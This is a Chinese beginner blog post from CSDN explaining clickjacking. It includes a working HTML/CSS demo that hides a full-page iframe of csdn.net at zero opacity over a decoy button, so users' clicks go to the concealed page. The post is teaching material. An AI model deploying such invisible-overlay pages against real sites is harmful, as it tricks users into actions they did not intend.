初识Web安全——HTML,CSS点击劫持

最新推荐文章于 2022-10-16 21:57:53 发布

&Darker

最新推荐文章于 2022-10-16 21:57:53 发布

阅读量329

点赞数

分类专栏：网络空间安全文章标签：网络安全 css html

本文链接：https://blog.csdn.net/tjz991129/article/details/119247080

版权

网络空间安全专栏收录该内容

4 篇文章 0 订阅

订阅专栏

初识Web安全——HTML,CSS点击劫持

本文主要介绍HTML,CSS存在的一个简单漏洞。在前端语言中单纯的HTML,CSS，JS存在的漏洞是非常少的，只有当这些前端语言混合在一起使用时才会产生很多的漏洞，
下面就是介绍的HTML,CSS混合在一起使用时存在的一个漏洞。所谓点击劫持，简单的来讲就是你打开一个网页你当前点击的内容与你在网页上看都的内容不相符。
具体理解看下方代码：

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>点击劫持</title>
    <style>
        iframe {
            width: 1440px;
            height: 900px;
            position: absolute;
            top: -0px;
            left: -0px;
            z-index: 2;
            /* 隐藏网页透明度设置 */
            opacity: 0;
            filter: alpha(opacity=0);
        }

        button {
            position: absolute;
            top: 279px;
            left: 1150px;
            z-index: 1;
            width: 90px;
            height: 40px;
        }
    </style>
</head>

<body>
    <!-- 此程序中这张图片覆盖了隐藏的这个网址 -->
    <button>美女图片</button>
    <img src="./a.png">
    <iframe src="https://www.csdn.net/" scrolling="no"></iframe>
</body>

</html>

代码显示效果
在这里插入图片描述
点击这张图片后得到

这样点击这张图片就进入了一个新的宁外的一个界面，而没有进入用户希望进入的界面，即为点击劫持。

当然我们也可以将代码中的清晰度调高以便于我们更好的理解，调高后显示结果如下在这里插入图片描述

以上就是所谓的点击劫持，当然还有更加复杂的，但基本原理都是这样。
第一次写博客，写的不是很好，如果有什么错误希望大家告诉我，我一定改正！

&Darker

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
初识Web安全——HTML,CSS点击劫持

初识Web安全——HTML,CSS点击劫持本文主要介绍HTML,CSS存在的一个简单漏洞。在前端语言中单纯的HTML,CSS，JS存在的漏洞是非常少的，只有当这些前端语言混合在一起使用时才会产生很多的漏洞，下面就是介绍的HTML,CSS混合在一起使用时存在的一个漏洞。所谓点击劫持，简单的来讲就是你打开一个网页你当前点击的内容与你在网页上看都的内容不相符。具体理解看下方代码：<!DOCTYPE html><html lang="en"><head>
复制链接

扫一扫